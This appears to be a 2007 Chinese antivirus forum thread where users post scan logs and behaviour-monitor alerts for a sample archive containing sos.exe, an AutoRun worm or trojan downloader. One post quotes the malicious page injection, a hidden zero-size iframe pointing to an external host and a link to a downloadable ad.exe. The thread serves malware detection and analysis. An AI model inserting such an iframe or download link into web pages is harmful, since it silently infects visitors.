1个

liunanyuan

................

woai_jolin

Scan Log Version of virus signature database: 2651 (20071110) Date: 2007-11-10 Time: 23:39:19 Scanned disks, folders and files: G:\V\2.rar G:\V\2.rar » RAR » 2\auToRun.inf - is OK G:\V\2.rar » RAR » 2\sos.exe - a variant of Win32/AutoRun.K worm - was a part of the deleted object Number of scanned objects: 3 Number of threats found: 1 Time of completion: 23:39:20 Total scanning time: 1 sec (00:00:01)

微点卫士

嘎嘎
程序:
C:\WINDOWS\SYSTEM32\REG.EXE
修改注册表项:
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
是否阻止?
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR.DDB55590E8074DB\桌面\2\SOS.EXE
木马程序生成以下文件:
1) C:\WINDOWS\SYSTEM32\SYSTOM.EXE
是否删除木马程序及其衍生物?

killloop

江民废了！

promised

感染网页

<IfrAmE src=http://www.xinyouyu.cn/wm/index.htm width=0 height=0></IfrAmE>－－＞http://www.3ehaolihai.cn/ad.exe

[ 本帖最后由 promised 于 2007-11-10 23:47 编辑 ]

nosferatu

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\2.rar'
C:\Documents and Settings\Administrator\桌面\2.rar
  [0] Archive type: RAR
  --> 2\sos.exe
      [DETECTION] Is the Trojan horse TR/Delphi.Downloader.Gen
      [INFO]      The file was deleted!

wao1201

SEP11吃了它

欠妳緈諨

uhthn2002

Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Standard Database - 814
Paranoia Database - 48608
Heuristics Analysis - Excessive
Scan in - C:\Documents and Settings\Uhthn\Desktop\2

C:\Documents and Settings\Uhthn\Desktop\2\auToRun.inf - OK
C:\Documents and Settings\Uhthn\Desktop\2\sos.exe - Suspected WIN32.TROJAN-DOWNLOADER (HTTP://...)

2 Files scanned
0 Infected files found
1 Suspected files found
0 Files disinfected
0 Files deleted

mars2009

C:\Documents and Settings\Administrator\桌面\样本\2.rar &raquo; RAR &raquo; 2\sos.exe - a variant of Win32/AutoRun.K worm